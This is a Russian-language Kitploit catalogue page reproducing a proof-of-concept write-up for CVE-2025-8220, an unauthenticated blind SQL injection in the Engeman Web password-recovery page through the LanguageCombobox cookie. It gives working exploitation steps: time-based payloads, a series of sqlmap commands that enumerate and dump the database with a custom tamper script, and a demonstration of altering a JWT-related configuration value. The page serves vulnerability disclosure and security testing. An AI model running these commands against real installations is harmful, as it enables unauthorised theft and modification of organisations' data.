Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
engeman-web-language-combobox-sqli — Доказательство концепции эксплуатации уязвимости, описанной в CVE-2025-8220, которая касается возможности SQL Injection при загрузке страницы восстановления пароля в программном обеспечении Engeman Web. | Kitploit
Инструменты/GitHubGitHub/m3m0o/engeman-web-language-combobox-sqli
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеРазработка Полезной Нагрузки
GitHubm3m0o/engeman-web-language-combobox-sqli

engeman-web-language-combobox-sqli

Доказательство концепции эксплуатации уязвимости, описанной в CVE-2025-8220, которая касается возможности SQL Injection при загрузке страницы восстановления пароля в программном обеспечении Engeman Web.

Репозиторий
3310 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Engeman Web <= 12.0.0.2 Загрузка страницы восстановления пароля — неаутентифицированная SQL-инъекция

Proof of concept для эксплуатации уязвимости, описанной в CVE-2025-8220, которая касается возможности SQL-инъекции при загрузке страницы восстановления пароля в программном обеспечении Engeman Web.

Описание

В программном обеспечении Engeman Web была обнаружена уязвимость, позволяющая манипулировать SQL-запросом, выполняемым при загрузке страницы восстановления пароля. Эта уязвимость может быть использована посетителями без доступа к каким-либо действительным учётным данным, то есть неаутентифицированным образом, для нарушения конфиденциальности и целостности данных, хранящихся в базе данных приложения, а также потенциально может вызвать отказ в обслуживании на уровне компонента путём изменения значений в критических таблицах.

Сайт производителя

https://engeman.com/en/

Эксплуатация

После доступа к приложению и перенаправления на страницу входа нажмите кнопку, чтобы перейти на страницу восстановления пароля.

Начальная страница Engeman Web

Страница восстановления пароля Engeman Web

Проверьте запрос, отправленный браузером для загрузки страницы восстановления пароля. Вы заметите, что присутствуют некоторые cookie, включая cookie LanguageCombobox, который сохраняется при первоначальном доступе. В этой демонстрации использовалось программное обеспечение Burp Suite для более эффективного просмотра и повторной отправки запросов браузера.

Запрос для получения содержимого страницы восстановления пароля

Чтобы подтвердить уязвимость, вставьте одинарную кавычку в качестве значения упомянутого cookie и повторно отправьте запрос. В ответе приложения должна отобразиться ошибка, указывающая на незакрытую кавычку.

Вызов ошибки в приложении с помощью одинарной кавычки в значении cookie LanguageCombobox

Результаты запроса не отображаются непосредственно на возвращаемой странице, что делает эту эксплуатацию слепой. Вы можете вставлять такие полезные нагрузки, как ' AND SLEEP(30)-- - или '; WAITFOR DELAY '0:0:30'--, чтобы определить используемую базу данных.

Определение типа базовой базы данных с помощью time-based полезной нагрузки

Как только инъекция подтверждена, можно использовать автоматизированный инструмент, такой как sqlmap, для выгрузки содержимого базы данных.

Важно отметить, что аргумент --technique должен включать значение SEB, чтобы использовались методы, основанные на пакетных запросах, ошибках и булевых сравнениях. Во-первых, потому что необходима слепая эксплуатация, а во-вторых, потому что пропуск опции S в значении аргумента приводил к тому, что sqlmap не мог найти точку инъекции в базах данных SQL Server.

root@kitploit:~
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch

Использование sqlmap для проверки точки инъекции

Через точку инъекции будут определены различные возможные методы эксплуатации. После этого можно получить информацию о базе данных.

root@kitploit:~
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch --dbs

Получение доступных баз данных с помощью sqlmap

root@kitploit:~
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman --tables

Получение доступных таблиц с помощью sqlmap

root@kitploit:~
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman -T <table> --columns

Получение доступных столбцов с помощью sqlmap

Для выгрузки записей таблиц с помощью sqlmap необходимо использовать пользовательский tamper-скрипт (по крайней мере для баз данных SQL Server), который в этом репозитории называется replace-dbo.py. Причина в том, что полезные нагрузки sqlmap, использующие формат <database>.dbo.<table> для ссылки на объект таблицы, конфликтуют с обработкой приложения. Упомянутый tamper преобразует их только в формат <database>.<table>. Если экземпляр Engeman Web использует MySQL или другую базу данных, этот tamper не потребуется, либо потребуется создать другой.

Попытка использовать полезную нагрузку с форматом <database>.dbo.<table> для ссылки на объект таблицы

Попытка использовать ту же полезную нагрузку, но теперь с форматом <database>.<table> для ссылки на объект таблицы

Помните, что инструменту sqlmap требуется, чтобы в каталоге, где расположен tamper-скрипт, существовал пустой файл init.py, чтобы его можно было использовать, если вы не поместили его в каталог tamper по умолчанию для вашей установки.

root@kitploit:~
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman -T <table> --dump --tamper <tamper-file>.py

Извлечение общих конфигураций приложения

Этот tamper вызовет конфликты, если использовать его на любом этапе процесса, кроме выгрузки конкретной таблицы. Поэтому не используйте его для получения баз данных (--dbs), таблиц (--tables), столбцов (--columns) или дополнительной информации, такой как пользователь базы данных (--current-user).

Поскольку пользователь, используемый приложением для взаимодействия с базой данных, имеет высокие привилегии в контексте системных записей, также возможно манипулировать базовым запросом для изменения значений записей таблиц (это гораздо проще, если экземпляр использует SQL Server в качестве базовой базы данных).

Начальное значение единственной записи столбца JWTVALIDOTOKEN таблицы CFGGERAL

Изменение значения записи столбца JWTVALIDOTOKEN

Изменённое значение единственной записи столбца JWTVALIDOTOKEN таблицы CFGGERAL

Воздействие

С помощью этой уязвимости любой экземпляр системы был бы подвержен несанкционированному получению и, возможно, изменению данных, присутствующих в используемой базе данных.

Эта уязвимость была подтверждена в версиях до 12.0.0.1, но более новая версия, вероятно, также уязвима.

Скачать инструмент